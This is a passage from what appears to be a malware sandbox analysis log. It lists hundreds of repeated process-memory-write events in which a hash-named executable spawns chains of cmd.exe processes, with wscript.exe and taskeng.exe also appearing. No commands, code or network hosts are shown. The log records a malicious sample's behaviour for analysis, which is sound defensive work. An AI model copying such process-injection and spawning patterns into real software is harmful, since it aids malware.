PID 1184 wrote to memory of 1160 1184 cmd.exe 310 PID 1788 wrote to memory of 1012 1788 wscript.exe 311 PID 1788 wrote to memory of 1012 1788 wscript.exe 311 PID 1788 wrote to memory of 1012 1788 wscript.exe 311 PID 1788 wrote to memory of 1012 1788 wscript.exe 311 PID 1332 wrote to memory of 1880 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 312 PID 1332 wrote to memory of 1880 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 312 PID 1332 wrote to memory of 1880 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 312 PID 1332 wrote to memory of 1880 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 312 PID 1012 wrote to memory of 1040 1012 cmd.exe 315 PID 1012 wrote to memory of 1040 1012 cmd.exe 315 PID 1012 wrote to memory of 1040 1012 cmd.exe 315 PID 1012 wrote to memory of 1040 1012 cmd.exe 315 PID 1880 wrote to memory of 1308 1880 cmd.exe 316 PID 1880 wrote to memory of 1308 1880 cmd.exe 316 PID 1880 wrote to memory of 1308 1880 cmd.exe 316 PID 1880 wrote to memory of 1308 1880 cmd.exe 316 PID 1880 wrote to memory of 328 1880 cmd.exe 317 PID 1880 wrote to memory of 328 1880 cmd.exe 317 PID 1880 wrote to memory of 328 1880 cmd.exe 317 PID 1880 wrote to memory of 328 1880 cmd.exe 317 PID 1880 wrote to memory of 1196 1880 cmd.exe 318 PID 1880 wrote to memory of 1196 1880 cmd.exe 318 PID 1880 wrote to memory of 1196 1880 cmd.exe 318 PID 1880 wrote to memory of 1196 1880 cmd.exe 318 PID 1196 wrote to memory of 2000 1196 cmd.exe 319 PID 1196 wrote to memory of 2000 1196 cmd.exe 319 PID 1196 wrote to memory of 2000 1196 cmd.exe 319 PID 1196 wrote to memory of 2000 1196 cmd.exe 319 PID 1880 wrote to memory of 596 1880 cmd.exe 320 PID 1880 wrote to memory of 596 1880 cmd.exe 320 PID 1880 wrote to memory of 596 1880 cmd.exe 320 PID 1880 wrote to memory of 596 1880 cmd.exe 320 PID 1332 wrote to memory of 1544 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 321 PID 1332 wrote to memory of 1544 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 321 PID 1332 wrote to memory of 1544 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 321 PID 1332 wrote to memory of 1544 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 321 PID 1544 wrote to memory of 732 1544 cmd.exe 323 PID 1544 wrote to memory of 732 1544 cmd.exe 323 PID 1544 wrote to memory of 732 1544 cmd.exe 323 PID 1544 wrote to memory of 732 1544 cmd.exe 323 PID 1544 wrote to memory of 972 1544 cmd.exe 324 PID 1544 wrote to memory of 972 1544 cmd.exe 324 PID 1544 wrote to memory of 972 1544 cmd.exe 324 PID 1544 wrote to memory of 972 1544 cmd.exe 324 PID 1544 wrote to memory of 1444 1544 cmd.exe 325 PID 1544 wrote to memory of 1444 1544 cmd.exe 325 PID 1544 wrote to memory of 1444 1544 cmd.exe 325 PID 1544 wrote to memory of 1444 1544 cmd.exe 325 PID 1444 wrote to memory of 980 1444 cmd.exe 326 PID 1444 wrote to memory of 980 1444 cmd.exe 326 PID 1444 wrote to memory of 980 1444 cmd.exe 326 PID 1444 wrote to memory of 980 1444 cmd.exe 326 PID 1544 wrote to memory of 868 1544 cmd.exe 327 PID 1544 wrote to memory of 868 1544 cmd.exe 327 PID 1544 wrote to memory of 868 1544 cmd.exe 327 PID 1544 wrote to memory of 868 1544 cmd.exe 327 PID 1332 wrote to memory of 1776 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 328 PID 1332 wrote to memory of 1776 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 328 PID 1332 wrote to memory of 1776 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 328 PID 1332 wrote to memory of 1776 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 328 PID 1776 wrote to memory of 1644 1776 cmd.exe 330 PID 1776 wrote to memory of 1644 1776 cmd.exe 330 PID 1776 wrote to memory of 1644 1776 cmd.exe 330 PID 1776 wrote to memory of 1644 1776 cmd.exe 330 PID 1776 wrote to memory of 1940 1776 cmd.exe 331 PID 1776 wrote to memory of 1940 1776 cmd.exe 331 PID 1776 wrote to memory of 1940 1776 cmd.exe 331 PID 1776 wrote to memory of 1940 1776 cmd.exe 331 PID 1776 wrote to memory of 832 1776 cmd.exe 332 PID 1776 wrote to memory of 832 1776 cmd.exe 332 PID 1776 wrote to memory of 832 1776 cmd.exe 332 PID 1776 wrote to memory of 832 1776 cmd.exe 332 PID 832 wrote to memory of 1976 832 cmd.exe 333 PID 832 wrote to memory of 1976 832 cmd.exe 333 PID 832 wrote to memory of 1976 832 cmd.exe 333 PID 832 wrote to memory of 1976 832 cmd.exe 333 PID 1776 wrote to memory of 1900 1776 cmd.exe 334 PID 1776 wrote to memory of 1900 1776 cmd.exe 334 PID 1776 wrote to memory of 1900 1776 cmd.exe 334 PID 1776 wrote to memory of 1900 1776 cmd.exe 334 PID 1332 wrote to memory of 1700 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 335 PID 1332 wrote to memory of 1700 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 335 PID 1332 wrote to memory of 1700 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 335 PID 1332 wrote to memory of 1700 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 335 PID 1700 wrote to memory of 952 1700 cmd.exe 337 PID 1700 wrote to memory of 952 1700 cmd.exe 337 PID 1700 wrote to memory of 952 1700 cmd.exe 337 PID 1700 wrote to memory of 952 1700 cmd.exe 337 PID 1700 wrote to memory of 1104 1700 cmd.exe 338 PID 1700 wrote to memory of 1104 1700 cmd.exe 338 PID 1700 wrote to memory of 1104 1700 cmd.exe 338 PID 1700 wrote to memory of 1104 1700 cmd.exe 338 PID 1700 wrote to memory of 1308 1700 cmd.exe 339 PID 1700 wrote to memory of 1308 1700 cmd.exe 339 PID 1700 wrote to memory of 1308 1700 cmd.exe 339 PID 1700 wrote to memory of 1308 1700 cmd.exe 339 PID 1308 wrote to memory of 2044 1308 cmd.exe 341 PID 1308 wrote to memory of 2044 1308 cmd.exe 341 PID 1308 wrote to memory of 2044 1308 cmd.exe 341 PID 1308 wrote to memory of 2044 1308 cmd.exe 341 PID 1700 wrote to memory of 1048 1700 cmd.exe 342 PID 1700 wrote to memory of 1048 1700 cmd.exe 342 PID 1700 wrote to memory of 1048 1700 cmd.exe 342 PID 1700 wrote to memory of 1048 1700 cmd.exe 342 PID 1332 wrote to memory of 596 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 343 PID 1332 wrote to memory of 596 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 343 PID 1332 wrote to memory of 596 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 343 PID 1332 wrote to memory of 596 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 343 PID 596 wrote to memory of 1832 596 cmd.exe 345 PID 596 wrote to memory of 1832 596 cmd.exe 345 PID 596 wrote to memory of 1832 596 cmd.exe 345 PID 596 wrote to memory of 1832 596 cmd.exe 345 PID 596 wrote to memory of 1168 596 cmd.exe 346 PID 596 wrote to memory of 1168 596 cmd.exe 346 PID 596 wrote to memory of 1168 596 cmd.exe 346 PID 596 wrote to memory of 1168 596 cmd.exe 346 PID 596 wrote to memory of 2004 596 cmd.exe 347 PID 596 wrote to memory of 2004 596 cmd.exe 347 PID 596 wrote to memory of 2004 596 cmd.exe 347 PID 596 wrote to memory of 2004 596 cmd.exe 347 PID 2004 wrote to memory of 1932 2004 cmd.exe 348 PID 2004 wrote to memory of 1932 2004 cmd.exe 348 PID 2004 wrote to memory of 1932 2004 cmd.exe 348 PID 2004 wrote to memory of 1932 2004 cmd.exe 348 PID 596 wrote to memory of 1452 596 cmd.exe 349 PID 596 wrote to memory of 1452 596 cmd.exe 349 PID 596 wrote to memory of 1452 596 cmd.exe 349 PID 596 wrote to memory of 1452 596 cmd.exe 349 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 350 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 350 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 350 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 350 PID 1896 wrote to memory of 868 1896 cmd.exe 352 PID 1896 wrote to memory of 868 1896 cmd.exe 352 PID 1896 wrote to memory of 868 1896 cmd.exe 352 PID 1896 wrote to memory of 868 1896 cmd.exe 352 PID 1896 wrote to memory of 240 1896 cmd.exe 353 PID 1896 wrote to memory of 240 1896 cmd.exe 353 PID 1896 wrote to memory of 240 1896 cmd.exe 353 PID 1896 wrote to memory of 240 1896 cmd.exe 353 PID 328 wrote to memory of 1960 328 taskeng.exe 354 PID 328 wrote to memory of 1960 328 taskeng.exe 354 PID 328 wrote to memory of 1960 328 taskeng.exe 354 PID 1896 wrote to memory of 1756 1896 cmd.exe 355 PID 1896 wrote to memory of 1756 1896 cmd.exe 355 PID 1896 wrote to memory of 1756 1896 cmd.exe 355 PID 1896 wrote to memory of 1756 1896 cmd.exe 355 PID 1756 wrote to memory of 1212 1756 cmd.exe 356 PID 1756 wrote to memory of 1212 1756 cmd.exe 356 PID 1756 wrote to memory of 1212 1756 cmd.exe 356 PID 1756 wrote to memory of 1212 1756 cmd.exe 356 PID 1896 wrote to memory of 1004 1896 cmd.exe 357 PID 1896 wrote to memory of 1004 1896 cmd.exe 357 PID 1896 wrote to memory of 1004 1896 cmd.exe 357 PID 1896 wrote to memory of 1004 1896 cmd.exe 357 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 358 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 358 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 358 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 358 PID 1900 wrote to memory of 792 1900 cmd.exe 360 PID 1900 wrote to memory of 792 1900 cmd.exe 360 PID 1900 wrote to memory of 792 1900 cmd.exe 360 PID 1900 wrote to memory of 792 1900 cmd.exe 360 PID 1900 wrote to memory of 844 1900 cmd.exe 361 PID 1900 wrote to memory of 844 1900 cmd.exe 361 PID 1900 wrote to memory of 844 1900 cmd.exe 361 PID 1900 wrote to memory of 844 1900 cmd.exe 361 PID 1900 wrote to memory of 1120 1900 cmd.exe 362 PID 1900 wrote to memory of 1120 1900 cmd.exe 362 PID 1900 wrote to memory of 1120 1900 cmd.exe 362 PID 1900 wrote to memory of 1120 1900 cmd.exe 362 PID 1120 wrote to memory of 564 1120 cmd.exe 363 PID 1120 wrote to memory of 564 1120 cmd.exe 363 PID 1120 wrote to memory of 564 1120 cmd.exe 363 PID 1120 wrote to memory of 564 1120 cmd.exe 363 PID 1900 wrote to memory of 968 1900 cmd.exe 364 PID 1900 wrote to memory of 968 1900 cmd.exe 364 PID 1900 wrote to memory of 968 1900 cmd.exe 364 PID 1900 wrote to memory of 968 1900 cmd.exe 364 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 365 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 365 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 365 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 365 PID 1048 wrote to memory of 1108 1048 cmd.exe 367 PID 1048 wrote to memory of 1108 1048 cmd.exe 367 PID 1048 wrote to memory of 1108 1048 cmd.exe 367 PID 1048 wrote to memory of 1108 1048 cmd.exe 367 PID 1048 wrote to memory of 1052 1048 cmd.exe 368 PID 1048 wrote to memory of 1052 1048 cmd.exe 368 PID 1048 wrote to memory of 1052 1048 cmd.exe 368 PID 1048 wrote to memory of 1052 1048 cmd.exe 368 PID 1048 wrote to memory of 1168 1048 cmd.exe 369 PID 1048 wrote to memory of 1168 1048 cmd.exe 369 PID 1048 wrote to memory of 1168 1048 cmd.exe 369 PID 1048 wrote to memory of 1168 1048 cmd.exe 369 PID 1168 wrote to memory of 1480 1168 cmd.exe 370 PID 1168 wrote to memory of 1480 1168 cmd.exe 370 PID 1168 wrote to memory of 1480 1168 cmd.exe 370 PID 1168 wrote to memory of 1480 1168 cmd.exe 370 PID 1048 wrote to memory of 1888 1048 cmd.exe 371 PID 1048 wrote to memory of 1888 1048 cmd.exe 371 PID 1048 wrote to memory of 1888 1048 cmd.exe 371 PID 1048 wrote to memory of 1888 1048 cmd.exe 371 PID 1332 wrote to memory of 624 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 373 PID 1332 wrote to memory of 624 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 373 PID 1332 wrote to memory of 624 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 373 PID 1332 wrote to memory of 624 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 373 PID 624 wrote to memory of 340 624 cmd.exe 375 PID 624 wrote to memory of 340 624 cmd.exe 375 PID 624 wrote to memory of 340 624 cmd.exe 375 PID 624 wrote to memory of 340 624 cmd.exe 375 PID 624 wrote to memory of 1160 624 cmd.exe 376 PID 624 wrote to memory of 1160 624 cmd.exe 376 PID 624 wrote to memory of 1160 624 cmd.exe 376 PID 624 wrote to memory of 1160 624 cmd.exe 376 PID 624 wrote to memory of 240 624 cmd.exe 377 PID 624 wrote to memory of 240 624 cmd.exe 377 PID 624 wrote to memory of 240 624 cmd.exe 377 PID 624 wrote to memory of 240 624 cmd.exe 377 PID 240 wrote to memory of 1976 240 cmd.exe 378 PID 240 wrote to memory of 1976 240 cmd.exe 378 PID 240 wrote to memory of 1976 240 cmd.exe 378 PID 240 wrote to memory of 1976 240 cmd.exe 378 PID 624 wrote to memory of 1940 624 cmd.exe 379 PID 624 wrote to memory of 1940 624 cmd.exe 379 PID 624 wrote to memory of 1940 624 cmd.exe 379 PID 624 wrote to memory of 1940 624 cmd.exe 379 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 380 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 380 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 380 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 380 PID 1960 wrote to memory of 2016 1960 cmd.exe 382 PID 1960 wrote to memory of 2016 1960 cmd.exe 382 PID 1960 wrote to memory of 2016 1960 cmd.exe 382 PID 1004 wrote to memory of 764 1004 cmd.exe 383 PID 1004 wrote to memory of 764 1004 cmd.exe 383 PID 1004 wrote to memory of 764 1004 cmd.exe 383 PID 1004 wrote to memory of 764 1004 cmd.exe 383 PID 1004 wrote to memory of 1364 1004 cmd.exe 384 PID 1004 wrote to memory of 1364 1004 cmd.exe 384 PID 1004 wrote to memory of 1364 1004 cmd.exe 384 PID 1004 wrote to memory of 1364 1004 cmd.exe 384 PID 1004 wrote to memory of 1624 1004 cmd.exe 385 PID 1004 wrote to memory of 1624 1004 cmd.exe 385 PID 1004 wrote to memory of 1624 1004 cmd.exe 385 PID 1004 wrote to memory of 1624 1004 cmd.exe 385 PID 1624 wrote to memory of 2044 1624 cmd.exe 386 PID 1624 wrote to memory of 2044 1624 cmd.exe 386 PID 1624 wrote to memory of 2044 1624 cmd.exe 386 PID 1624 wrote to memory of 2044 1624 cmd.exe 386 PID 1004 wrote to memory of 1100 1004 cmd.exe 387 PID 1004 wrote to memory of 1100 1004 cmd.exe 387 PID 1004 wrote to memory of 1100 1004 cmd.exe 387 PID 1004 wrote to memory of 1100 1004 cmd.exe 387 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 388 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 388 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 388 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 388 PID 1096 wrote to memory of 992 1096 cmd.exe 390 PID 1096 wrote to memory of 992 1096 cmd.exe 390 PID 1096 wrote to memory of 992 1096 cmd.exe 390 PID 1096 wrote to memory of 992 1096 cmd.exe 390 PID 1096 wrote to memory of 1108 1096 cmd.exe 391 PID 1096 wrote to memory of 1108 1096 cmd.exe 391 PID 1096 wrote to memory of 1108 1096 cmd.exe 391 PID 1096 wrote to memory of 1108 1096 cmd.exe 391 PID 1096 wrote to memory of 928 1096 cmd.exe 392 PID 1096 wrote to memory of 928 1096 cmd.exe 392 PID 1096 wrote to memory of 928 1096 cmd.exe 392 PID 1096 wrote to memory of 928 1096 cmd.exe 392 PID 928 wrote to memory of 1412 928 cmd.exe 393 PID 928 wrote to memory of 1412 928 cmd.exe 393 PID 928 wrote to memory of 1412 928 cmd.exe 393 PID 928 wrote to memory of 1412 928 cmd.exe 393 PID 1096 wrote to memory of 972 1096 cmd.exe 394 PID 1096 wrote to memory of 972 1096 cmd.exe 394 PID 1096 wrote to memory of 972 1096 cmd.exe 394 PID 1096 wrote to memory of 972 1096 cmd.exe 394 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 395 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 395 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 395 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 395 PID 1040 wrote to memory of 1048 1040 cmd.exe 397 PID 1040 wrote to memory of 1048 1040 cmd.exe 397 PID 1040 wrote to memory of 1048 1040 cmd.exe 397 PID 1040 wrote to memory of 1048 1040 cmd.exe 397 PID 1040 wrote to memory of 868 1040 cmd.exe 398 PID 1040 wrote to memory of 868 1040 cmd.exe 398 PID 1040 wrote to memory of 868 1040 cmd.exe 398 PID 1040 wrote to memory of 868 1040 cmd.exe 398 PID 1040 wrote to memory of 340 1040 cmd.exe 399 PID 1040 wrote to memory of 340 1040 cmd.exe 399 PID 1040 wrote to memory of 340 1040 cmd.exe 399 PID 1040 wrote to memory of 340 1040 cmd.exe 399 PID 340 wrote to memory of 1160 340 cmd.exe 400 PID 340 wrote to memory of 1160 340 cmd.exe 400 PID 340 wrote to memory of 1160 340 cmd.exe 400 PID 340 wrote to memory of 1160 340 cmd.exe 400 PID 1040 wrote to memory of 1976 1040 cmd.exe 401 PID 1040 wrote to memory of 1976 1040 cmd.exe 401 PID 1040 wrote to memory of 1976 1040 cmd.exe 401 PID 1040 wrote to memory of 1976 1040 cmd.exe 401 PID 1332 wrote to memory of 1540 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 402 PID 1332 wrote to memory of 1540 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 402 PID 1332 wrote to memory of 1540 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 402 PID 1332 wrote to memory of 1540 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 402 PID 1540 wrote to memory of 624 1540 cmd.exe 404 PID 1540 wrote to memory of 624 1540 cmd.exe 404 PID 1540 wrote to memory of 624 1540 cmd.exe 404 PID 1540 wrote to memory of 624 1540 cmd.exe 404 PID 1540 wrote to memory of 1176 1540 cmd.exe 405 PID 1540 wrote to memory of 1176 1540 cmd.exe 405 PID 1540 wrote to memory of 1176 1540 cmd.exe 405 PID 1540 wrote to memory of 1176 1540 cmd.exe 405 PID 1540 wrote to memory of 2008 1540 cmd.exe 406 PID 1540 wrote to memory of 2008 1540 cmd.exe 406 PID 1540 wrote to memory of 2008 1540 cmd.exe 406 PID 1540 wrote to memory of 2008 1540 cmd.exe 406 PID 2008 wrote to memory of 844 2008 cmd.exe 407 PID 2008 wrote to memory of 844 2008 cmd.exe 407 PID 2008 wrote to memory of 844 2008 cmd.exe 407 PID 2008 wrote to memory of 844 2008 cmd.exe 407 PID 1540 wrote to memory of 1104 1540 cmd.exe 408 PID 1540 wrote to memory of 1104 1540 cmd.exe 408 PID 1540 wrote to memory of 1104 1540 cmd.exe 408 PID 1540 wrote to memory of 1104 1540 cmd.exe 408 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 409 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 409 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 409 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 409 PID 1120 wrote to memory of 2028 1120 cmd.exe 411 PID 1120 wrote to memory of 2028 1120 cmd.exe 411 PID 1120 wrote to memory of 2028 1120 cmd.exe 411 PID 1120 wrote to memory of 2028 1120 cmd.exe 411 PID 1120 wrote to memory of 1196 1120 cmd.exe 412 PID 1120 wrote to memory of 1196 1120 cmd.exe 412 PID 1120 wrote to memory of 1196 1120 cmd.exe 412 PID 1120 wrote to memory of 1196 1120 cmd.exe 412 PID 1120 wrote to memory of 1784 1120 cmd.exe 413 PID 1120 wrote to memory of 1784 1120 cmd.exe 413 PID 1120 wrote to memory of 1784 1120 cmd.exe 413 PID 1120 wrote to memory of 1784 1120 cmd.exe 413 PID 1784 wrote to memory of 1408 1784 cmd.exe 414 PID 1784 wrote to memory of 1408 1784 cmd.exe 414 PID 1784 wrote to memory of 1408 1784 cmd.exe 414 PID 1784 wrote to memory of 1408 1784 cmd.exe 414 PID 1120 wrote to memory of 1056 1120 cmd.exe 415 PID 1120 wrote to memory of 1056 1120 cmd.exe 415 PID 1120 wrote to memory of 1056 1120 cmd.exe 415 PID 1120 wrote to memory of 1056 1120 cmd.exe 415 PID 1332 wrote to memory of 1412 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 416 PID 1332 wrote to memory of 1412 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 416 PID 1332 wrote to memory of 1412 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 416 PID 1332 wrote to memory of 1412 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 416 PID 1412 wrote to memory of 1700 1412 cmd.exe 418 PID 1412 wrote to memory of 1700 1412 cmd.exe 418 PID 1412 wrote to memory of 1700 1412 cmd.exe 418 PID 1412 wrote to memory of 1700 1412 cmd.exe 418 PID 1412 wrote to memory of 548 1412 cmd.exe 419 PID 1412 wrote to memory of 548 1412 cmd.exe 419 PID 1412 wrote to memory of 548 1412 cmd.exe 419 PID 1412 wrote to memory of 548 1412 cmd.exe 419 PID 1412 wrote to memory of 336 1412 cmd.exe 420 PID 1412 wrote to memory of 336 1412 cmd.exe 420 PID 1412 wrote to memory of 336 1412 cmd.exe 420 PID 1412 wrote to memory of 336 1412 cmd.exe 420 PID 336 wrote to memory of 1452 336 cmd.exe 421 PID 336 wrote to memory of 1452 336 cmd.exe 421 PID 336 wrote to memory of 1452 336 cmd.exe 421 PID 336 wrote to memory of 1452 336 cmd.exe 421 PID 1412 wrote to memory of 1848 1412 cmd.exe 422 PID 1412 wrote to memory of 1848 1412 cmd.exe 422 PID 1412 wrote to memory of 1848 1412 cmd.exe 422 PID 1412 wrote to memory of 1848 1412 cmd.exe 422 PID 1332 wrote to memory of 1160 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 423 PID 1332 wrote to memory of 1160 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 423 PID 1332 wrote to memory of 1160 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 423 PID 1332 wrote to memory of 1160 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 423 PID 1160 wrote to memory of 1040 1160 cmd.exe 425 PID 1160 wrote to memory of 1040 1160 cmd.exe 425 PID 1160 wrote to memory of 1040 1160 cmd.exe 425 PID 1160 wrote to memory of 1040 1160 cmd.exe 425 PID 1160 wrote to memory of 1940 1160 cmd.exe 426 PID 1160 wrote to memory of 1940 1160 cmd.exe 426 PID 1160 wrote to memory of 1940 1160 cmd.exe 426 PID 1160 wrote to memory of 1940 1160 cmd.exe 426 PID 1160 wrote to memory of 616 1160 cmd.exe 427 PID 1160 wrote to memory of 616 1160 cmd.exe 427 PID 1160 wrote to memory of 616 1160 cmd.exe 427 PID 1160 wrote to memory of 616 1160 cmd.exe 427 PID 616 wrote to memory of 1068 616 cmd.exe 428 PID 616 wrote to memory of 1068 616 cmd.exe 428 PID 616 wrote to memory of 1068 616 cmd.exe 428 PID 616 wrote to memory of 1068 616 cmd.exe 428 PID 1160 wrote to memory of 564 1160 cmd.exe 429 PID 1160 wrote to memory of 564 1160 cmd.exe 429 PID 1160 wrote to memory of 564 1160 cmd.exe 429 PID 1160 wrote to memory of 564 1160 cmd.exe 429 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 430 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 430 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 430 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 430 PID 2044 wrote to memory of 300 2044 cmd.exe 432 PID 2044 wrote to memory of 300 2044 cmd.exe 432 PID 2044 wrote to memory of 300 2044 cmd.exe 432 PID 2044 wrote to memory of 300 2044 cmd.exe 432 PID 2044 wrote to memory of 1928 2044 cmd.exe 433 PID 2044 wrote to memory of 1928 2044 cmd.exe 433 PID 2044 wrote to memory of 1928 2044 cmd.exe 433 PID 2044 wrote to memory of 1928 2044 cmd.exe 433 PID 2044 wrote to memory of 1004 2044 cmd.exe 434 PID 2044 wrote to memory of 1004 2044 cmd.exe 434 PID 2044 wrote to memory of 1004 2044 cmd.exe 434 PID 2044 wrote to memory of 1004 2044 cmd.exe 434 PID 1004 wrote to memory of 1776 1004 cmd.exe 435 PID 1004 wrote to memory of 1776 1004 cmd.exe 435 PID 1004 wrote to memory of 1776 1004 cmd.exe 435 PID 1004 wrote to memory of 1776 1004 cmd.exe 435 PID 2044 wrote to memory of 760 2044 cmd.exe 436 PID 2044 wrote to memory of 760 2044 cmd.exe 436 PID 2044 wrote to memory of 760 2044 cmd.exe 436 PID 2044 wrote to memory of 760 2044 cmd.exe 436 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 437 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 437 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 437 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 437 PID 1492 wrote to memory of 1120 1492 cmd.exe 439 PID 1492 wrote to memory of 1120 1492 